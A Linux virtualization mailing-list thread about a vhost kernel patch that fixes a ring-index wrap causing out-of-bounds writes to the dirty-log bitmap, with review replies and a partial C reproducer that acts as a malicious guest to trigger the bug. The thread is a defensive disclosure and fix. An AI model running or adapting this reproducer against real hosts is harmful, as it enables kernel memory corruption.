Linux virtualization list
 help / color / mirror / Atom feed
* [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order
@ 2026-10-20 23:29 Fang Xieyan
  2026-10-21  7:29 ` Eugenio Perez Martin
                   ` (2 more replies)
  0 siblings, 3 replies; 4+ messages in thread
From: Fang Xieyan @ 2026-10-20 23:29 UTC (permalink / raw)
  To: Michael S . Tsirkin, Jason Wang, Eugenio Pérez
  Cc: virtualization, kvm, netdev, stable, linux-kernel, Weibin Liu

vhost_add_used_n_in_order() advances start by nheads[i] but wraps it
with a single subtraction.  If start + nheads[i] >= 2 * vq->num, start
can remain outside the ring.

With used-ring logging enabled, start > vq->num makes (vq->num - start)
underflow.  log_write() then sets bits beyond the dirty-log bitmap,
potentially corrupting adjacent userspace memory.  This is reachable on
the vhost-net TX path with VIRTIO_F_IN_ORDER: done_idx can reach
VHOST_NET_BATCH (64), triggering the issue with a 32-entry ring.

Wrap start with a mask to keep it within the ring.  VHOST_SET_VRING_NUM
enforces a nonzero power-of-two ring size, allowing start to be wrapped
using & (vq->num - 1).

Fixes: 67a873df0c41 ("vhost: basic in order support")
Cc: stable@vger.kernel.org
Reviewed-by: Weibin Liu <liuwb@xiaopeng.com>
Signed-off-by: Fang Xieyan <fangxy@xiaopeng.com>
---
Reproducer (verified on a kernel containing commit 67a873df0c41 with a
temporary WARN_ON_ONCE probe in log_used(); the probe is not part of
this patch):

With VIRTIO_F_IN_ORDER, num=32, and used-ring dirty logging enabled, the
TX batch reaches done_idx=64.  In the observed run, the initial index is
3, so the single subtraction leaves start=35.  The resulting length
calculation wraps to 34359738344 bytes, as confirmed by the log_used()
probe.

A 64-byte canary immediately after the 512-byte log bitmap changes from
0xA5 to 0xFF, confirming the out-of-bounds write.  The used-ring canary
remains intact because vhost_put_used() runs before start is advanced;
the demonstrated corruption is in the dirty-log bitmap.

 drivers/vhost/vhost.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index 44cac11b68d2..0226c4c59709 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -3172,8 +3172,7 @@ static int vhost_add_used_n_in_order(struct vhost_virtqueue *vq,
 		}
 		start += nheads[i];
 		new += nheads[i];
-		if (start >= vq->num)
-			start -= vq->num;
+		start &= vq->num - 1;
 	}
 
 	if (unlikely(vq->log_used)) {
-- 
2.50.1


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order
  2026-10-20 23:29 [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order Fang Xieyan
@ 2026-10-21  7:29 ` Eugenio Perez Martin
  2026-10-21 23:30 ` sashiko-bot
  2026-10-22 10:06 ` Fang Xieyan
  2 siblings, 0 replies; 4+ messages in thread
From: Eugenio Perez Martin @ 2026-10-21  7:29 UTC (permalink / raw)
  To: Fang Xieyan
  Cc: Michael S . Tsirkin, Jason Wang, virtualization, kvm, netdev,
	stable, linux-kernel, Weibin Liu

On Wed, Oct 21, 2026 at 1:30 AM Fang Xieyan <fangxy@xiaopeng.com> wrote:
>
> vhost_add_used_n_in_order() advances start by nheads[i] but wraps it
> with a single subtraction.  If start + nheads[i] >= 2 * vq->num, start
> can remain outside the ring.
>
> With used-ring logging enabled, start > vq->num makes (vq->num - start)
> underflow.  log_write() then sets bits beyond the dirty-log bitmap,
> potentially corrupting adjacent userspace memory.  This is reachable on
> the vhost-net TX path with VIRTIO_F_IN_ORDER: done_idx can reach
> VHOST_NET_BATCH (64), triggering the issue with a 32-entry ring.
>
> Wrap start with a mask to keep it within the ring.  VHOST_SET_VRING_NUM
> enforces a nonzero power-of-two ring size, allowing start to be wrapped
> using & (vq->num - 1).
>
> Fixes: 67a873df0c41 ("vhost: basic in order support")
> Cc: stable@vger.kernel.org
> Reviewed-by: Weibin Liu <liuwb@xiaopeng.com>
> Signed-off-by: Fang Xieyan <fangxy@xiaopeng.com>
> ---
> Reproducer (verified on a kernel containing commit 67a873df0c41 with a
> temporary WARN_ON_ONCE probe in log_used(); the probe is not part of
> this patch):
>
> With VIRTIO_F_IN_ORDER, num=32, and used-ring dirty logging enabled, the
> TX batch reaches done_idx=64.

Can you send the reproducer? I'm very curious about how vhost_net
reaches to done_idx=64. It seems some bound needs to be added there
too, isn't it?

The patch itself looks good to me, even if we will need to modify it
for packed vqs, so

Acked-by: Eugenio Pérez <eperezma@redhat.com>

>  In the observed run, the initial index is
> 3, so the single subtraction leaves start=35.  The resulting length
> calculation wraps to 34359738344 bytes, as confirmed by the log_used()
> probe.
>
> A 64-byte canary immediately after the 512-byte log bitmap changes from
> 0xA5 to 0xFF, confirming the out-of-bounds write.  The used-ring canary
> remains intact because vhost_put_used() runs before start is advanced;
> the demonstrated corruption is in the dirty-log bitmap.
>
>  drivers/vhost/vhost.c | 3 +--
>  1 file changed, 1 insertion(+), 2 deletions(-)
>
> diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
> index 44cac11b68d2..0226c4c59709 100644
> --- a/drivers/vhost/vhost.c
> +++ b/drivers/vhost/vhost.c
> @@ -3172,8 +3172,7 @@ static int vhost_add_used_n_in_order(struct vhost_virtqueue *vq,
>                 }
>                 start += nheads[i];
>                 new += nheads[i];
> -               if (start >= vq->num)
> -                       start -= vq->num;
> +               start &= vq->num - 1;
>         }
>
>         if (unlikely(vq->log_used)) {
> --
> 2.50.1
>


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order
  2026-10-20 23:29 [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order Fang Xieyan
  2026-10-21  7:29 ` Eugenio Perez Martin
@ 2026-10-21 23:30 ` sashiko-bot
  2026-10-22 10:06 ` Fang Xieyan
  2 siblings, 0 replies; 4+ messages in thread
From: sashiko-bot @ 2026-10-21 23:30 UTC (permalink / raw)
  To: Fang Xieyan; +Cc: virtualization, kvm, Michael S. Tsirkin, Eugenio Perez

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Critical] vhost: wrong start index for log_used() in vhost_add_used_n_in_order()
--

commit dd320e3245fc3d77e9d6856274ea3ebedcc56808
Author: Fang Xieyan <fangxy@xiaopeng.com>

vhost: fix used ring index wrap in vhost_add_used_n_in_order

This commit masks start with (vq->num - 1) inside the loop in
vhost_add_used_n_in_order() so that advancing start by nheads[i] cannot
leave start >= vq->num when logging used-ring updates.

> diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
> index 4d5d32e68d35f..b1a9f8f05cf65 100644
> --- a/drivers/vhost/vhost.c
> +++ b/drivers/vhost/vhost.c
> @@ -3188,8 +3188,7 @@ static int vhost_add_used_n_in_order(struct vhost_virtqueue *vq,
>  		}
>  		start += nheads[i];
>  		new += nheads[i];
> -		if (start >= vq->num)
> -			start -= vq->num;
> +		start &= vq->num - 1;
>  	}
>  
>  	if (unlikely(vq->log_used)) {

[Severity: Critical]
Does masking start inside the loop still leave the log_used() calculations
in drivers/vhost/vhost.c:vhost_add_used_n_in_order() broken, allowing
out-of-bounds writes to the dirty-log bitmap as well as missed dirty-page
logging?

Before the loop in vhost_add_used_n_in_order(), used is anchored to the
initial start index, and then the loop advances and masks start on each
iteration:

	start = vq->last_used_idx & (vq->num - 1);
	used = vq->used->ring + start;

	for (i = 0; i < count; i++) {
		if (vhost_put_used(vq, &heads[i], start, 1)) {
			vq_err(vq, "Failed to write used");
			return -EFAULT;
		}
		start += nheads[i];
		new += nheads[i];
		start &= vq->num - 1;
	}

	if (unlikely(vq->log_used)) {
		/* Make sure data is seen before log. */
		smp_wmb();
		/* Log used ring entry write. */
		log_used(vq, ((void __user *)used - (void __user *)vq->used),
			 (vq->num - start) * sizeof *used);
		if (start + count > vq->num)
			log_used(vq, 0,
				 (start + count - vq->num) * sizeof *used);
	}

When vq->log_used is enabled, the first log_used() call pairs the pre-loop
used pointer with the post-loop start index. If start wraps around the ring
during the loop so that the post-loop start is smaller than the initial
start (for example, initial start = vq->num - 1, count = 1, nheads[0] = 1,
ending with start = 0), then (vq->num - start) * sizeof *used logs
vq->num elements starting from vq->used->ring[vq->num - 1], extending
(vq->num - 1) elements past the end of vq->used->ring.

Similarly, in the second log_used() call, on the vhost-net receive path in
handle_rx(), count can reach 65 while vq->num is 32. If the post-loop start
is 31, (start + count - vq->num) * sizeof *used logs 64 elements from the
start of vq->used, again extending past the end of the 32-entry ring.

Because drivers/vhost/vhost.c:vq_log_used_access_ok() only validates the
bitmap range covering vhost_get_used_size(vq, vq->num):

	return !log_used || log_access_ok(log_base, log_addr,
					  vhost_get_used_size(vq, vq->num));

can logging past the end of vq->used->ring cross a page boundary and cause
log_used() -> log_write() to set bits beyond the end of the userspace
dirty-log bitmap?

Conversely, because each iteration writes a single element at the strided
index start before advancing start by nheads[i], can this also fail to log
dirty pages that were actually written (for instance, when start wraps
during the loop with post-loop start + count <= vq->num so the second
log_used() call is skipped, or when nheads[i] > 1 causes the total span of
written ring entries to be much larger than count)? Would it make more sense
to log each written entry inside the loop, or compute the logged range from
the initial start index and total advance (new - old)?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/20261020232956.99970-1-fangxy@xiaopeng.com?part=1

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order
  2026-10-20 23:29 [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order Fang Xieyan
  2026-10-21  7:29 ` Eugenio Perez Martin
  2026-10-21 23:30 ` sashiko-bot
@ 2026-10-22 10:06 ` Fang Xieyan
  2 siblings, 0 replies; 4+ messages in thread
From: Fang Xieyan @ 2026-10-22 10:06 UTC (permalink / raw)
  To: mst, jasowang, eperezma
  Cc: virtualization, kvm, netdev, stable, linux-kernel, liuwb

> Can you send the reproducer? I'm very curious about how vhost_net
> reaches to done_idx=64. It seems some bound needs to be added there
> too, isn't it?

The reproducer is inlined at the bottom of this mail (poc_vhost_oob.c)
and builds with:

    gcc -static -O2 -pthread -o poc_vhost_oob poc_vhost_oob.c

Run it as root inside a guest on an unpatched kernel containing
67a873df0c41. It configures a 32-entry TX vring, requests
VIRTIO_F_IN_ORDER, VIRTIO_NET_F_MRG_RXBUF and VIRTIO_F_VERSION_1,
enables used-ring dirty logging, and attaches a tap backend. The
reproducer requires a 4 KiB-page kernel and checks the required
features at startup.

The reproduction is timing-dependent, so the results below describe
the kernel and configuration we tested, not every unpatched kernel.

How done_idx reaches 64:

vhost refreshes its cached avail index only when the cached window is
exhausted. The available-index sanity check runs at that refresh, not
on every descriptor pull. The writer advances avail->idx to rx + num,
where rx is the tap's rx_packets counter, a lagging proxy for vhost's
consumption. Jumbo TX frames give the writer time to replenish the
ring while vhost drains it. Transient overshoots can still trigger
EINVAL; the reproducer's recovery path handles those cases.

The instrumented run below confirms that done_idx reached the
VHOST_NET_BATCH limit of 64. With num=32 and last_used initially 3,
vhost_add_used_n_in_order() computes start=3+64 and subtracts num
only once, leaving start=35. The used-ring entry itself is written
using the initial valid index because this TX flush uses count=1.
However, log_used() subsequently derives its length from the invalid
start, causing the unsigned underflow.

For reference, here is a trimmed transcript from the instrumented
7.3-rc7 run after the TAP vnet-header fix. The kernel messages come
from temporary debug instrumentation and do not appear on a stock
kernel:

    [poc] tap poc0 vnet_hdr_sz set to 12
    [poc] negotiated: 0x904008000 (IN_ORDER=1 MRG_RXBUF=1 V1=1 LOG_ALL=1)
    [    1.763425] POCDBG max done_idx at flush=64 num=32
    [    1.818827] vhost: log_used OOB write: used_offset=28 len=34359738344
    [poc] used->idx after = 64675 (delta=64675) max_refill_step=32 ...
    [poc] canary intact (probe may still have fired; see dmesg)
    [poc] *** LOG BITMAP CANARY CORRUPTED -> log_used() OOB write CONFIRMED ***
    [poc] log bitmap canary (64 bytes): ff ff ff ff ff ff ff ff ... (all 0xff)
    ==== PoC exit code: 0 ====

The log_used diagnostic was emitted 3589 times in this run, counted
from the per-hit pr_err messages; the WARN_ON_ONCE warning and stack
trace appeared only once. The reported length,
34359738344 = (2^32 - 3) * 8, matches the underflow for num=32 and
start=35. The bitmap canary changing from 0xA5 to 0xFF confirms that
set_bit_to_user() wrote beyond the logical dirty-log bitmap. The
used-ring canary remained intact, consistent with the count=1 TX path.

The used-ring dirty-log bitmap in this reproducer is mapped by the
PoC itself. This demonstrates the out-of-bounds write in the tested
vhost path, but is not by itself an end-to-end exploit against a real
host; the impact on a host's live bitmap depends on its memory layout.

> It seems some bound needs to be added there too, isn't it?

Regarding the additional bound: the current patch fixes the immediate
ring-index wrap and prevents the log_used() length underflow. The
reproducer also shows that done_idx can reach 64 when vq->num is 32,
while the existing single-subtraction logic implicitly assumes
nheads[i] <= vq->num.

Would you prefer to keep this patch focused on the index-wrap fix and
address bounding the in-order TX batch in a separate follow-up, or
should the bound be handled together with this fix? My inclination is
to discuss the batching limit separately, since changing the TX
batching path deserves its own review and testing.

> The patch itself looks good to me, even if we will need to modify it
> for packed vqs, so

Thanks!  This change only touches the split-ring in_order path
(vhost_add_used_n_in_order).  I will look at the packed-ring equivalent
and send it separately.

Fang Xieyan

--------------- 8< --------------- reproducer: poc_vhost_oob.c --------------- 8< ---------------
/*
 * poc_vhost_oob.c - PoC for the vhost in-order used-index wrap that causes a
 * dirty-log bitmap OOB write (the used ring itself is not written out of bounds)
 *
 * Triggers the bug in vhost_add_used_n_in_order() fixed by
 * "vhost: fix used ring index wrap in vhost_add_used_n_in_order".
 *
 * Runs INSIDE the test guest (7.3-rc7 + WARN probe), as root, playing the
 * role of a malicious guest on the TX path:
 *
 *   - opens /dev/vhost-net, negotiates VIRTIO_F_IN_ORDER + MRG_RXBUF + V1
 *   - sets a small TX vring (num=32) whose descriptors all point at large
 *     (4000-byte payload) read-only packet buffers
 *   - a writer thread advances avail->idx to rx + NUM, where rx is the poc0
 *     tap RX packet count -- a lagging proxy for what vhost has consumed.  The
 *     delta vhost sees at each re-read is therefore ~NUM minus that lag, not
 *     exactly NUM, and stays within the "avail index change <= num" window only
 *     while the writer keeps ahead (an overshoot is rejected with EINVAL and
 *     recovered), so handle_tx keeps pulling and nvq->done_idx accumulates.
 *   - the large frames make vhost's per-packet copy+sendmsg cost dominate the
 *     writer's poll latency, so d -- the logical, unwrapped amount by which
 *     vhost's consumed-descriptor count leads the tap's rx counter -- stays
 *     below num, and outstanding = num - d never reaches 0 mid-batch: vhost
 *     does not stall and done_idx climbs to the VHOST_NET_BATCH(64) cap.  The
 *     kernel's last_avail_idx is a 16-bit wrapping index while rx is
 *     cumulative, so d is defined from the unwrapped consumed-descriptor count
 *     minus rx (the raw u16 index must be extended across wraparound;
 *     subtracting last_avail_idx from rx directly would be wrong).  The PoC
 *     cannot measure it directly (it only sees rx), so done_idx==64 is confirmed
 *     by the kernel-side probe rather than inferred from the refill cadence.
 *   - a flush with done_idx=64 and num=32 hands nheads[0]=64 to
 *     vhost_add_used_n_in_order():
 *         start = last_used & (num-1); start += 64; if (start >= num) start -= num;
 *     one subtraction leaves start = (last_used & 31) + 32 >= num  => probe fires.
 *
 * What the corrupted start actually corrupts:
 *   - vhost_put_used(): TX in_order passes count=1, so the single write uses
 *     the masked-valid start; the >=num residue is computed AFTER that write
 *     and is not dereferenced again in this call.  An actual used-ring OOB
 *     write would need count>=2 with nheads[i]>num, which the mainline TX
 *     (count=1) and RX (nheads=headcount<=num) in_order paths do not produce.
 *   - log_used(): when used-ring dirty logging is on, the SAME post-loop start
 *     feeds "(vq->num - start)".  For start>num this underflows to a huge u64
 *     length, and log_write() sweeps set_bit_to_user() beyond the logical
 *     dirty-log bitmap into the PoC's own userspace mapping.  This is the
 *     reachable corruption, so this PoC enables logging (VHOST_F_LOG_ALL +
 *     VHOST_SET_LOG_BASE + VHOST_VRING_F_LOG on the used ring) and places a
 *     canary just past the 512-byte bitmap to catch the sweep.
 *
 * Why TX (not RX): RX mergeable needs headcount > num within a single
 * get_rx_bufs() call (a hard intra-call race).  TX accumulates done_idx
 * across separate packets, giving the writer thread time to refill avail
 * between pulls - far easier to win, and done_idx>=4 already triggers.
 *
 * Build (static):  gcc -static -O2 -pthread -o poc_vhost_oob poc_vhost_oob.c
 *
 * Author: Fang Xieyan <fangxy@xiaopeng.com>
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <pthread.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/eventfd.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/vhost.h>
#include <linux/virtio_ring.h>
#include <linux/virtio_net.h>
#include <linux/virtio_config.h>

#ifndef VIRTIO_F_IN_ORDER
#define VIRTIO_F_IN_ORDER 35
#endif

/* ---- tunables ---- */
#define GUEST_MEM_SZ   (16u << 20)
#define VRING_NUM      32            /* Chosen so VHOST_NET_BATCH (64) == 2*num:
                                       * a full batch (done_idx=64) then makes
                                       * start = (last_used & 31) + 64 - 32 =
                                       * (last_used & 31) + 32 >= num after the
                                       * single subtraction, for ANY initial
                                       * last_used, so the wrap underflows and
                                       * the probe fires.  num=32 is a convenient
                                       * trigger, not a precondition -- the bug
                                       * is the single subtraction itself.  The
                                       * large TX frames below are what let
                                       * done_idx actually climb to 64. */
#define DESC_OFF       0x100
#define AVAIL_OFF      0x400
#define USED_OFF       0x600
#define CANARY_OFF     0x800
#define TXBUF0         0x1000        /* TX packet buffer 0 (GPA)           */
#define TXBUF1         0x4000        /* TX packet buffer 1 (GPA)           */
#define TX_PAYLOAD     4000          /* Jumbo frames: each pull's copy+sendmsg
                                       * costs ~100x a 60B frame, so a 32-pull
                                       * window drain takes long enough for the
                                       * writer to observe rx advance mid-drain
                                       * and keep avail = rx + num ahead of
                                       * last_avail (out = num - d > 0, where
                                       * d is the unwrapped consumed-count lead
                                       * over rx, which the PoC cannot measure
                                       * directly), so vhost
                                       * chains windows and done_idx climbs
                                       * past num to the batch cap.
                                       * 64*4026B = 257KB < VHOST_NET_WEIGHT
                                       * (512KB) so weight does not flush early.
                                       * Needs poc0 MTU raised (see tap_up). */
#define CANARY_MAGIC   0xDEADBEEF
#define VQ_TX          1             /* virtio-net TX queue index          */
#define RUN_SECONDS    10

/* ---- used-ring dirty-logging (VHOST_F_LOG_ALL) bitmap ----
 * log_used() computes (vq->num - start) with the corrupted post-loop start.
 * When start > num this underflows to a huge u64 length, and log_write() then
 * sweeps set_bit_to_user() beyond the 512-byte bitmap (16MB/4K/8) into this
 * PoC's own userspace mapping.  We lay a canary just past the legit bitmap area
 * and a PROT_NONE guard page after page 0, so the sweep corrupts the canary
 * then faults quickly instead of grinding ~1M bytes on every flush.
 *
 * NOTE: this layout assumes 4 KiB pages -- the legit bitmap is
 * GUEST_MEM_SZ/4096/8 = 512 bytes, and the guard page is mprotect()'d at
 * LOGMAP_SZ/2 = 4096, only page-aligned for a 4096-byte page.  On a kernel
 * with a larger PAGE_SIZE both would be wrong, so main() checks
 * sysconf(_SC_PAGESIZE) and aborts unless it is 4096 (this PoC targets the
 * x86 test guest, which uses 4 KiB pages). */
#define LOGMAP_SZ          8192      /* page0 = RW bitmap+canary, page1 = guard */
#define LOGBITMAP_SZ       512       /* legit bitmap: 16MB / 4096 / 8 (4K pages) */
#define LOGBIT_CANARY_OFF  512       /* canary right after the legit bitmap     */
#define LOGBIT_CANARY_SZ   64
#define LOGBIT_CANARY_BYTE 0xA5

static int g_verbose = 1;
#define DBG(...) do { if (g_verbose) fprintf(stderr, "[poc] " __VA_ARGS__); } while (0)
#define DIE(...) do { fprintf(stderr, "[poc] FATAL: " __VA_ARGS__); exit(1); } while (0)

static volatile int g_stop = 0;
/* Largest per-poll increment of the tap rx counter (rx - last_rx), reported as
 * max_refill_step.  This is NOT the true d (the unwrapped lead of last_avail_idx
 * over rx) from the strategy comment -- the PoC cannot observe last_avail_idx --
 * so it is only an indirect indicator of drain rate, never proof that done_idx
 * reached 64. */
static volatile unsigned long g_max_avail_lag = 0;
static volatile unsigned long g_avail_updates = 0;
static volatile unsigned long g_final_rx = 0;
static int g_kickfd = -1;
static struct vring_avail *g_avail;

static void hexdump(const char *tag, const void *p, size_t n)
{
    const uint8_t *b = p; size_t i;
    fprintf(stderr, "[poc] %s (%zu bytes):", tag, n);
    for (i = 0; i < n && i < 48; i++) fprintf(stderr, " %02x", b[i]);
    fprintf(stderr, "\n");
}

static int tap_open(const char *name, int vnet_hdr)
{
    struct ifreq ifr;
    int fd = open("/dev/net/tun", O_RDWR);
    if (fd < 0) DIE("open /dev/net/tun: %s\n", strerror(errno));
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
    if (vnet_hdr) ifr.ifr_flags |= IFF_VNET_HDR;
    strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
    if (ioctl(fd, TUNSETIFF, &ifr) < 0) DIE("TUNSETIFF: %s\n", strerror(errno));
    if (vnet_hdr) {
        /* vhost-net negotiates VIRTIO_F_VERSION_1 + MRG_RXBUF and does NOT set
         * VHOST_NET_F_VIRTIO_NET_HDR, so vhost_net_set_features() hands the tap
         * a 12-byte virtio_net_hdr_mrg_rxbuf (sock_hlen = 12).  TUN's default
         * vnet_hdr_sz is sizeof(virtio_net_hdr) = 10, which would make the tap
         * strip only 10 bytes and mis-frame every packet; set it to 12 so the
         * tap and vhost-net agree on the header length. */
        int hdr_sz = sizeof(struct virtio_net_hdr_mrg_rxbuf);
        if (ioctl(fd, TUNSETVNETHDRSZ, &hdr_sz) < 0)
            DIE("TUNSETVNETHDRSZ: %s\n", strerror(errno));
        DBG("tap %s vnet_hdr_sz set to %d\n", ifr.ifr_name, hdr_sz);
    }
    DBG("tap %s opened (fd=%d, vnet_hdr=%d)\n", ifr.ifr_name, fd, vnet_hdr);
    return fd;
}

static void tap_up(const char *name)
{
    struct ifreq ifr;
    int sfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sfd < 0) DIE("socket: %s\n", strerror(errno));
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
    if (ioctl(sfd, SIOCGIFFLAGS, &ifr) < 0) DIE("SIOCGIFFLAGS: %s\n", strerror(errno));
    ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);
    if (ioctl(sfd, SIOCSIFFLAGS, &ifr) < 0) DIE("SIOCSIFFLAGS up: %s\n", strerror(errno));
    /* Raise MTU so jumbo TX frames (TX_PAYLOAD) are not dropped by
     * tun_get_user; larger frames slow the per-pull drain (see TX_PAYLOAD). */
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
    ifr.ifr_mtu = 9000;
    if (ioctl(sfd, SIOCSIFMTU, &ifr) < 0)
        DBG("SIOCSIFMTU 9000 failed: %s (non-fatal)\n", strerror(errno));
    else
        DBG("tap %s MTU set to 9000\n", name);
    DBG("tap %s set UP\n", name);
    close(sfd);
}

/* read poc0 RX packet count == number of TX packets vhost has consumed (each
 * handle_tx sendmsg injects one frame received on poc0).
 *
 * We read the single-value sysfs counter /sys/class/net/poc0/statistics/
 * rx_packets via a cached fd + pread(0), NOT /proc/net/dev.  (In an earlier
 * version this polled /proc/net/dev, a seq_file that walks every interface on
 * each open+read; under TCG one poll cost ~340us, so the writer only observed
 * consumption once per ~num packets (max_refill_step == num) and vhost always
 * drained the whole window and flushed at done_idx == num < 2*num.  That is
 * history, not what the current code does.)  The sysfs counter is one cheap
 * syscall, letting the writer track per-packet and keep avail topped up
 * mid-batch. */
static unsigned long read_poc0_rx(void)
{
    static int fd = -1;
    char buf[32];
    ssize_t n;
    if (fd < 0) {
        fd = open("/sys/class/net/poc0/statistics/rx_packets", O_RDONLY);
        if (fd < 0) return 0;
    }
    n = pread(fd, buf, sizeof(buf) - 1, 0);
    if (n <= 0) return 0;
    buf[n] = '\0';
    return strtoul(buf, NULL, 10);
}

/* Malicious-guest refill thread.
 *
 * THE CRUX.  vhost caches avail->idx and only re-reads guest memory when the
 * cache is exhausted (last_avail_idx == avail_idx), and the sanity check
 * "(avail_idx - last_avail_idx) > num -> EINVAL" runs ONLY at that re-read.
 * Between re-reads vhost pulls blindly from the cache.  So the guest may write
 * avail->idx AHEAD during a batch; it is validated only at the next re-read
 * boundary (last_avail == old cache), where avail == last_avail + num is legal.
 *
 * We lead by ONE window: avail = rx + num, where rx is the poc0 tap RX packet
 * count -- our only host-visible view of vhost's progress, and a lagging one.
 * At a re-read the delta vhost sees is outstanding = avail - last_avail =
 * num - d, where d is the logical, unwrapped lead of vhost's consumed count
 * over the tap's rx counter (descriptors vhost has consumed but the tap counter
 * has not yet reflected).  last_avail_idx is a 16-bit wrapping index and rx is
 * cumulative, so d is defined from the unwrapped consumed-descriptor count
 * minus rx, not a literal subtraction of the raw u16 index from rx.  We cannot
 * measure d directly (rx is all we see);
 * g_max_avail_lag only records the per-poll rx increment, an indirect
 * indicator.  The TX frames are jumbo (see TX_PAYLOAD), so each pull's
 * copy+sendmsg is slow and the writer replenishes often enough to keep d < num;
 * outstanding therefore never reaches 0 at a re-read boundary, vhost never
 * stalls, and done_idx climbs to the VHOST_NET_BATCH(64) cap.  Leading by TWO
 * windows does NOT work: rx+2*num pushes outstanding over num at the batch-start
 * re-read and is rejected with EINVAL, so the lead must stay <= num.
 *
 * A flush at done_idx=64 with num=32 hands nheads[0]=64 to
 * vhost_add_used_n_in_order():
 *     start = (last_used & 31) + 64;
 *     start -= num;   // one subtraction is not enough
 * The result is (last_used & 31) + 32, always >= num for any in-ring last_used.
 * In the observed run last_used started at 3, leaving start at 35  => the wrap
 * WARN fires (the F-015 OOB write).
 *
 * If a poll transiently overshoots (before the TX pipe fills) vhost wedges in
 * EINVAL and rx stops advancing; we detect the no-progress via the idle counter
 * and reset to the always-legal avail = rx + num, then re-kick, so vhost
 * recovers. */
static void *writer_thread(void *arg)
{
    uint64_t one = 1;
    unsigned long last_rx = 0;
    unsigned long target = VRING_NUM;      /* what we currently advertise      */
    unsigned idle = 0;
    (void)arg;
    g_avail->idx = (uint16_t)target;       /* prime one legal window           */
    write(g_kickfd, &one, sizeof(one));    /* seed kick so handle_tx starts    */
    while (!g_stop) {
        unsigned long rx = read_poc0_rx();
        if (rx != last_rx) {
            /* rx - last_rx: how far the tap counter advanced since our last
             * poll -- an indirect drain-rate indicator, NOT the d (unwrapped
             * consumed-count lead over rx) that actually sets outstanding
             * (see the header comment). */
            unsigned long lag = rx - last_rx;
            unsigned long want;
            if (lag > g_max_avail_lag) g_max_avail_lag = lag;
            last_rx = rx;
            idle = 0;
            g_avail_updates++;
            /* One-window lead (advance-only, u16-wrap safe) -- see the strategy
             * comment above writer_thread().  A 2*num lead would be rejected
             * with EINVAL at the batch-start re-read, so the lead stays <= num. */
            want = rx + VRING_NUM;
            if ((uint16_t)(want - target) < 0x8000u) target = want;
            g_avail->idx = (uint16_t)target;
        } else if (++idle >= 4096) {
            /* No delivery progress: vhost is either stalled (needs a kick) or
             * wedged in EINVAL because target overshot last_avail+num.  Reset
             * to the always-legal rx+num (last_avail >= rx => rx+num is within
             * the invariant) and kick vhost back into handle_tx. */
            target = last_rx + VRING_NUM;
            g_avail->idx = (uint16_t)target;
            write(g_kickfd, &one, sizeof(one));
            idle = 0;
        }
        /* Busy-poll with sched_yield(): returns at once when the vhost worker
         * is on a sibling vCPU (-smp 4) yet still lets it run if they share a
         * core.  A real guest refills avail with a bare store; we observe via a
         * syscall so we poll flat out to keep the lead fresh. */
        sched_yield();
    }
    g_final_rx = last_rx;
    return NULL;
}





static int xioctl(int fd, unsigned long req, void *arg, const char *what)
{
    int r = ioctl(fd, req, arg);
    if (r < 0) DBG("ioctl %s FAILED: %s\n", what, strerror(errno));
    else DBG("ioctl %s ok\n", what);
    return r;
}

int main(int argc, char **argv)
{
    int vnet_hdr = 1;
    void *mem;
    int vfd, tapfd, callfd;
    uint64_t feats, sup;
    struct vhost_memory *vmem;
    struct vhost_vring_state vs;
    struct vhost_vring_addr va;
    struct vhost_vring_file vf;
    struct vring_desc *desc;
    struct vring_avail *avail;
    struct vring_used *used;
    uint32_t *canary;
    uint8_t *logmap;
    uint64_t logbase_arg;
    uint8_t *txbuf0, *txbuf1;
    uint16_t used_before, used_after;
    pthread_t wt;
    pthread_t wt2;
    int i;

    (void)argc; (void)argv;

    /* The dirty-log bitmap layout (LOGBITMAP_SZ and the guard-page offset) is
     * hard-coded for 4 KiB pages -- see the LOGBITMAP_SZ comment.  Refuse to run
     * elsewhere rather than silently mmap a bogus layout and report a
     * misleading result.  The x86 test guest uses 4 KiB pages. */
    {
        long pgsz = sysconf(_SC_PAGESIZE);
        if (pgsz != 4096)
            DIE("this reproducer assumes 4096-byte pages; sysconf(_SC_PAGESIZE)"
                " = %ld, so the dirty-log bitmap layout would be wrong\n", pgsz);
    }

    mem = mmap(NULL, GUEST_MEM_SZ, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) DIE("mmap: %s\n", strerror(errno));
    memset(mem, 0, GUEST_MEM_SZ);
    DBG("guest mem %p (%u MB)\n", mem, GUEST_MEM_SZ >> 20);

    /* dirty-logging bitmap: page0 holds the 512B legit bitmap + a canary just
     * past it; page1 is a PROT_NONE guard so the OOB sweep faults fast. */
    logmap = mmap(NULL, LOGMAP_SZ, PROT_READ | PROT_WRITE,
